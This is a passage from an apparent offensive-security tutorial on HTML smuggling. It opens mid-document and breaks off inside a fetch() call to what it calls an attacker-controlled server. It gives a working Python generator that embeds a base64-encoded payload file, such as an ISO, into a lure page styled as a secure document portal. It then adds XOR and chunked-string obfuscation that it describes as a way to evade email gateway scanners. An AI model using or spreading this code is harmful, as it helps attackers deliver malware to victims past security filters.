Your document is downloading...
```
## 2. Generator Script
Automate HTML smuggling page creation with theming:
```python
import base64
import sys
TEMPLATE = '''
Opening Secure Document
If the download does not start, click here.
'''
def generate(payload_path, filename, title, output):
with open(payload_path, "rb") as f:
b64 = base64.b64encode(f.read()).decode()
html = TEMPLATE.format(
title=title, b64data=b64,
filename=filename)
with open(output, "w") as f:
f.write(html)
print(f"[+] Smuggle page written to {output} ({len(b64)} bytes encoded)")
# Usage: generate("/workspace/payload.iso", "Report.iso",
# "Secure Document Portal", "/workspace/smuggle.html")
```
## 3. Obfuscation Layers
Basic base64 is trivially detected by static analysis. Layer
obfuscation to evade email gateway JavaScript scanners:
### 3a. XOR + base64
```javascript
// Encode: XOR each byte with key, then base64
function xorEncode(data, key) {
var out = new Uint8Array(data.length);
for (var i = 0; i < data.length; i++)
out[i] = data[i] ^ key.charCodeAt(i % key.length);
return btoa(String.fromCharCode.apply(null, out));
}
// Decode at runtime
function xorDecode(b64, key) {
var raw = atob(b64);
var out = new Uint8Array(raw.length);
for (var i = 0; i < raw.length; i++)
out[i] = raw.charCodeAt(i) ^ key.charCodeAt(i % key.length);
return out;
}
```
### 3b. Chunked Reassembly
Split the base64 into multiple JS string variables concatenated at
runtime — defeats pattern-matching on large contiguous base64:
```javascript
var p1 = "AAAA..."; // chunk 1
var p2 = "BBBB..."; // chunk 2
var p3 = "CCCC..."; // chunk 3
var full = atob(p1 + p2 + p3);
```
### 3c. Fetch from External URL
Instead of embedding the full blob, fetch it at runtime from an
attacker-controlled server — the HTML itself is tiny and clean:
```javascript
fetch("https://cdn.